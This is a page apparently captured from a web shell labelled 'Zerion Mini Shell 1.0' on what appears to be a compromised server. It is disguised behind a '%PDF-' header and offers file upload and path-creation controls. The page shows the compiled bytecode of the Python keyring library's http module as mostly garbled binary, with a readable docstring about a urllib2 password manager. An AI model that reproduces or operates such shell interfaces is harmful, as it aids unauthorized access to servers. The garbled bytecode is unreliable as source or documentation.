%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/keyring/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/keyring/__pycache__/http.cpython-312.pyc

�

�e���8�dZddlZddlmZmZmZGd�d�Zy)a�
urllib2.HTTPPasswordMgr object using the keyring, for use with the
urllib2.HTTPBasicAuthHandler.

usage:
    import urllib2
    handlers = [urllib2.HTTPBasicAuthHandler(PasswordMgr())]
    urllib2.install_opener(handlers)
    urllib2.urlopen(...)

This will prompt for a password if one is required and isn't already
in the keyring. Then, it adds it to the keyring for subsequent use.
�N�)�get_password�delete_password�set_passwordc�$�eZdZd�Zd�Zd�Zd�Zy)�PasswordMgrc�*�tj�S�N)�getpass�getuser)�self�realm�authuris   �./usr/lib/python3/dist-packages/keyring/http.py�get_usernamezPasswordMgr.get_usernames����� � �c�B�|j||�}t|||�yr
)rr)r
rr�password�users     r�add_passwordzPasswordMgr.add_passwords ��� � ���0���U�D�(�+rc��|j||�}t||�}|�/dt�z}tj|�}t	|||�||fS)Nz1password for %(user)s@%(realm)s for %(authuri)s: )rr�varsrr)r
rrrr�prompts      r�find_user_passwordzPasswordMgr.find_user_passwordsV��� � ���0����t�,����K�d�f�T�F����v�.�H����h�/��X�~�rc�@�|j||�}t||�yr
)rr)r
rrrs    r�clear_passwordzPasswordMgr.clear_password%s��� � ���0����t�$rN)�__name__�
__module__�__qualname__rrrr�rrrrs��!�,��%rr)�__doc__r�rrrrr rr�<module>r#s����9�9�%�%r

Zerion Mini Shell 1.0